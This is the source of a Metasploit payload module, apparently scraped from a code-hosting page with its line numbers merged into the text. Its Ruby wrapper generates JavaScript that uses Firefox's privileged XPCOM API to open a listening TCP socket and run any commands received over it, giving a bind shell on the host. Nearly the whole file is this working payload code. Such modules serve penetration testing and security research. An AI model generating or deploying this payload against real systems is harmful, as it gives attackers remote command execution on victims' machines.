Path: blob/master/modules/payloads/singles/firefox/shell_bind_tcp.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Payload::Firefox10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Command Shell, Bind TCP (via Firefox XPCOM script)',17'Description' => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},18'Author' => ['joev'],19'License' => BSD_LICENSE,20'Platform' => 'firefox',21'Arch' => ARCH_FIREFOX,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'firefox'25)26)27end2829#30# Returns the JS string to use for execution31#32def generate(_opts = {})33%|34(function(){35window = this;36Components.utils.import("resource://gre/modules/NetUtil.jsm");37var lport = #{datastore['LPORT']};38var rhost = "#{datastore['RHOST']}";39var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"]40.createInstance(Components.interfaces.nsIServerSocket);41serverSocket.init(lport, false, -1);4243var listener = {44onSocketAccepted: function(serverSocket, clientSocket) {45var outStream = clientSocket.openOutputStream(0, 0, 0);46var inStream = clientSocket.openInputStream(0, 0, 0);47var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]48.createInstance(Components.interfaces.nsIInputStreamPump);49pump.init(inStream, -1, -1, 0, 0, true);50pump.asyncRead(clientListener(outStream), null);51}52};5354#{read_until_token_source}5556var clientListener = function(outStream) {57return {58onStartRequest: function(request, context) {},59onStopRequest: function(request, context) {},60onDataAvailable: readUntilToken(function(data) {61runCmd(data, function(err, output) {62if(!err) outStream.write(output, output.length);63});64})65};66};6768#{run_cmd_source}6970serverSocket.asyncListen(listener);71})();72|73end74end757677